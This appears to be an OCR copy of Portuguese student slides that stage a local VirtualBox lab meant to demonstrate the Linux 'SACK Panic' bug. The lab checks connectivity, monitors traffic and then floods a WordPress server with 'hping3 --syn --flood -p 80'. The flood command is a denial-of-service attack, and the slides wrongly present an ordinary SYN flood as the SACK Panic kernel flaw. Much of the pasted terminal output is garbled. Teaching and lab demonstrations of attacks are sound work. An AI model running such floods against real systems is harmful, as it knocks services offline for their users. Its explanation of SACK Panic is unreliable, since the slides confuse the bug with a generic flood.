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Resumo das apresentacoes:

12 FASE - Apresentacao do tema do projeto: SACK Panic
22 FASE - Apresentacao intermediaria: Abordagem real sobre o SACK Panic

32 FASE - Apresentacao final: Simulacao pratica do bug SACK Panic com DDoS
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Objetivo

Demonstrar de forma pratica e dinamica, a falha de seguranca do kernel, quando é
utilizado um ataque de negacao de servico, mais conhecido como: DDoS (Distributed
Denial of Service), que devera inundar uma determinada interface de rede sem perder
a conexao, derrubando um determinado site que sera hospedado localmente ou na
Internet, nesta apresentacao a simulacao sera “local” de forma “virtualizada”.
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Simulacao pratica do SACK Panic

Para efetuar o procedimento sera preciso um conjunto de softwares para
demonstrar a apresentacao de forma pratica, os softwares sao:
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Simulacao pratica do SACK Panic

Sistemas Operacionais: (Debian 8 e Ubuntu 18.04 LTS)
htop: (Visualizador de processos e status de maquina)
ping: (Aplicativo de teste de conectividade ICMP) ®
hping: (Gerador de pacotes em massa “flood”) open source
speedometer: (Analisador de trafego) Initiative
Virtualizador: (VirtualBox - Versao 6)

Wireshark: (Analisador de pacotes) Obs: Todos os softwares sdo Open Source.
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Simulacao do SACK Panic

12 ETAPA - Verificar enderecamento e comunicacao, entre as maquinas, cliente
e servidor, sendo que a maquina cliente sera a maquina do “atacante”, os
comandos executados sao:

ifconfig / ping

Obs. O Ubuntu 18.04, nao possui suporte ao software “ifconfig”, € necessario instalar
0 pacote net-tools: sudo apt update && sudo apt install net-tools -y
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Arquivo  Maguina Visualizar Entrada Dispositivos  Ajuda

FootEs
ethi

Fo0tEs

Comando: ifconfig ethl
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Maquina cliente (Ubuntu 18.04 LTS)

root@vmo01: /home/santorsula

Arquivo Editar Ver Pesquisar Terminal Ajuda
root@vm@1: /home/santorsula# ifconfig enpOs8
enp@s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.100.2 netmask 255.255.255.0 broadcast 192.168.100.255

inet6 feBO::a00:27ff:felc:1daf prefixlen 64 scopeid 0x20<link=
ether 08:00:27:1c:1d:af txqueuelen 1000 (Ethernet)

RX packets ® bytes @ (0.0 B)

RX errors @ dropped & overruns @ frame 8

TX packets 84 bytes 8694 (8.6 KB)

TX errors ® dropped ©® overruns ® carrier ® collisions 8

Comando: ifconfig enp0s8



UNICAMP

Maquina servidor (Debian 8)

root@sre0l: ™% ping -c 4 192.168. lHH

FIMG 192.1658.10C (192.168.100.2) Ehlu4l bytes of data.
h3. 100 1 tt1=h4 time=0.949
2 ttl=64 time=0.715
o 3 ttl=p4 time=0.586
64 bytes from 192.168.100.2: icmp_seqg=4 t1l=64 time=0.718

64 bytes from 192.168.100.2: icmp_seqs=
64 bytes from 192.168. 2 icmp_s
4 hytes from 192. 16 ?: icmp

-—— 192.1683. lHH._ HlH: statistics ---
' ~ah 20, 0% packet loss,

nMH = 0.58650.742/0.949.

Comando: ping -c 4 192.168.100.2

'0.130 ms

time 299

9ms
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Maquina cliente (Ubuntu 18.04 LTS)

root@vm0O1: fhomej/santorsula

Arquivo Editar Ver Pesquisar Terminal Ajuda
root@vm®1: /home/santorsula# ping -c 4 192.168.100.1
PING 192.168.100.1 (192.168.100.1) 56(84) bytes of data.

64 bytes
64 bytes
64 bytes
64 bytes

from
from
from
from

192.
192.
192.
192.

192.168.100.1

168
168
168
168

rtt min/avg/max/mdev

Comando: ping -c 4 192.168.100.1

-100.1:
.108.1:
.108.1:
.108.1:

icmp seg=1 ttl=64 time=0.354
icmp seq=2 ttl=64 time=0.734
icmp_seq=3 ttl=64 time=0.736
icmp seq=4 ttl=64 time=0.704

ping statistics
4 packets transmitted, 4 received, 0% packet loss, time 3058ms

0.354/0.632/0.736/0.161 ms
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Simulacao do SACK Panic

12 ETAPA - Verificando trafego da interface ethl da maquina Servidor, utilizando o
software “speedometer”, comando executado:

sudo speedometer -t ethl -r ethl
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Simulacao do SACK Panic

12 ETAPA - Acesso a um site dinamico "interno", rodando os servicos de Webserver e
um SGBD: (Apache & MySQL), URL de acesso:

http://192.168.100.1/site




PCL | Portal de Conhecimento Livre - Chromium

PCL | Portal de Conhecim: X

= C {} @ Naosequro| 192.168.100.1/site/

BB XAMPP

OPEN SOURCE
PHOTOGRAPHY LESSONS

learn to edit photos with free software

Inicio Equipe Educacao GMNU Licencas Projetos Software Livre Contato

O PCL (Portal de Conhecimento Livre), tem o objetivo de manter informacées atualizadas sobre o Software Livre no
Brasil e no mundo.

Website dinamico, utilizando o CMS (Wordpress), utilizando a tecnologia LAMP:
Linux, Apache, MySQL, PHP
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Simulacao do SACK Panic

12 ETAPA - Efetuar a 12 analise de pacotes com Wireshark, em seguida selecionar a
interface enp0s8 para captura de pacotes.
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Simulacao do SACK Panic

22 ETAPA - Efetuando o ataque “DDoS” através da maquina cliente, verificando a
transparéncia do ataque, através do protocolo ICMP, utilizando o software “ping”, comandos
executados:

ping 192.168.100.1
hping3 --syn --flood -p 80 192.168.100.1
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Descricao de uso do software hping

hping3 Software de geracao de pacotes “personalizados”

--syn Sincronizagao dos pacotes que serao fragmentados

--flood Faz o processo de inundacao de pacotes

-p Informa que uma determinada porta a ser utilizada no ataque
80 Porta de destino do ataque DDoS

192.168.100.1 Endereco de rede que sera utilizado como vitima do ataque
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Simulacao do SACK Panic

32 ETAPA - Verificando trafego da interface ethl da maquina Servidor, utilizando o
software “speedometer”, comando executado:

sudo speedometer -t ethl -r ethl
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Simulacao do SACK Panic

32 ETAPA - Efetuar a 22 analise de pacotes com Wireshark, em seguida selecionar a
interface enp0s8 para captura de pacotes.
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Simulacao do SACK Panic

32 ETAPA - Acesso a um site dinamico "interno", rodando os servicos de Webserver e
um SGBD: (Apache & MySQL), URL de acesso:

http://192.168.100.1/site
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Simulacao do SACK Panic

32 ETAPA - Abordagem final sobre os testes realizados de forma pratica (htop e
speedometer), por fim parar o testes e verificar status: (rede e cpu), acessar o site

novamente.
Observacao: %
A maquina podera travar, devido a inundacao de pacotes

na interface enp0s8, podendo utilizar 100% de CPU.
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Conclusao

Utilizando um ataque da familia DDos, a interface de rede do servidor é inundada com
centenas ou milhares de pacotes, ocorrendo a “negacao de servico”, tornando o
servidor e seus servicos indisponivel, devido a falha de kernel denominada de

SACK Panic. %
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